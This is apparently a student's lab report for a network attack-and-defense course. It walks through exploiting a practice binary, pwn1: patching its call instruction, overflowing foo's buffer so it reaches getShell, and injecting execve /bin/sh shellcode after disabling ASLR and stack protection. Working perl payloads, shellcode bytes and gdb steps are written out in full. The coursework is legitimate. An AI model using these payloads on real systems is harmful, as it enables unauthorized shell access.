20242934 2024-2025-2 《网络攻防实践》第九周作业
1.实践内容
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2.实践过程
2.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
首先在云班课下载pwn1文件到kali里面

输入objdump -d pwn1 | more,对pwn1文件进行反汇编,并且使得目标文件pwn1分页显示。

在该界面输入/getShell,快速锁定到getShell、foo和main函数。

可以看到main函数中call 8048491这句汇编指令:是要调用位于地址8048491处的foo函数
这句指令对应的机器指令为e8 d7 ff ff ff,其中:
e8为call指令的机器指令,d7 ff ff ff为call指令要跳转到的地址,此时eip寄存器中的值为下条指令的地址,即80484ba
call指令要跳转到的地址+eip寄存器中的值=call指令所调用的foo函数的地址,即d7 ff ff ff+80484ba=8048491
那么想让main函数调用getShell函数,只需将上述等式中foo函数的地址改为getShell函数的地址,call指令对应的机器指令应改为e8 c3 ff ff ff。
下面修改可执行文件:首先在终端中输入命令cp pwn1 pwn2-20242934语句对pwn1文件进行备份,然后输入vi pwn2-20242934对pwn2文件进行修改,此时pwn2源文件显示如下:

按着Esc键同时输入:%!xxd将源文件格式转化为16进制

输入/e8 d7查找要修改的内容

然后分别输入rc、r3将d7改为c3

输入:%!xxd -r转换16进制为原格式,然后输入:wq保存并退出vi

输入命令objdump -d pwn2-20242934 | more ,接着输入命令/getShell快速锁定到getShell函数、foo函数和main函数
此时可以看到call函数调用的已经是getShell函数了


2.2利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
输入 objdump -d pwn1 | more查看pwn1文件调用foo函数,仔细分析后发现foo函数存在漏洞:系统仅预留了0x1c字节的缓冲器,超出部分将发生溢出。

输入 gdb pwn1对文件pwn1进行调试
,再输入r运行。然后输入字符串“1111111122222222333333334444444412345678”,从下图可以看出显示出错。

输入info r查看寄存器的值,发现epi的值为:0x34333231(1234对应的ASCII码值),可见字符串的33-36的字节将EIP寄存器覆盖。由此分析,要想成功让main函数调用getShell函数,我们只需要将第33-36字节对应改为getShell的内存地址即可。在第一个实践中,已经知道getShell的内存地址为0804847d,故可以得到要输入的字符串为“11111111222222223333333344444444\x7d\x84\x04\x08”

要想将上述字符串成功输入,先要生成一个20242934文件。
输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > 20242934
其中\x0a表示回车。然后输入xxd 20242934查看20242934文件的内容是否如预期。接着输入(cat 20242934; cat) | ./pwn1,将20242934的输入,作为pwn1的输入。最后输入ls进行测试,发现程序成功调用了getShell函数。

2.3注入一个自己制作的shellcode并运行这段shellcode。
先输入apt-get install execstack安装execstack。
在管理员权限下,输入命令execstack -s pwn1设置堆栈可执行,
然后输入命令execstack -q pwn1查询文件的堆栈是否可执行,
输入命令more /proc/sys/kernel/randomize_va_space,
输入echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化,
最后输入more /proc/sys/kernel/randomize_va_space查询是否关闭地址随机化。
构造要注入的payload,输入命令perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode进行注入。
然后在该终端输入命令(cat input_shellcode;cat) | ./pwn1注入这段攻击buf
然后再重新打开一个终端,输入命令ps -ef | grep pwn1,可以看到pwn1的进程2176。

输入命令gdb pwn1启动gdb
输入attach 2176启动gdb调试这个进程

输入命令disassemble foo进行反汇编,查看到ret的地址为0x080484ae

输入break *0x080484ae在0x080484ae处设置断点。在之前的终端中按下回车,然后在调试的终端中输入c继续运行

输入info r esp查看栈顶指针所在的位置,查找地址为查找地址为 x/16x 0xffffd5cc

输入x/16x 0xffffd5cc命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,x/16x 0xffffd5cc+4=0xffffd5d0,所以地址应为0xffffd5d0。

将之前的\x4\x3\x2\x1改为这个地址0xffffd5d0即可,
在终端中输入quit,退出gdb
用命令perl -e 'print "A" x 32;print "\xd0\xd5\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
再输入命令(cat input_shellcode;cat) | ./pwn1执行程序,攻击成功。

3.学习中遇到的问题及解决
- 问题1:kali中无法下载execstack
- 问题1解决方案:通过查询deepseek解决
- 问题2:在实践3中,第一个终端输入(cat input20211919;cat) | ./pwn1注入攻击buf 时,千万不要按回车,会导致实验失败
- 问题2解决方案:不要按回车
4.实践总结
此次实验学习了如何注入运行任何Shellcode,实验内容偏多,耗时较久,做起来相对之前的要麻烦一点。整个过程中使用到的工具,例如execstack,已经过时了,不好下载

浙公网安备 33010602011771号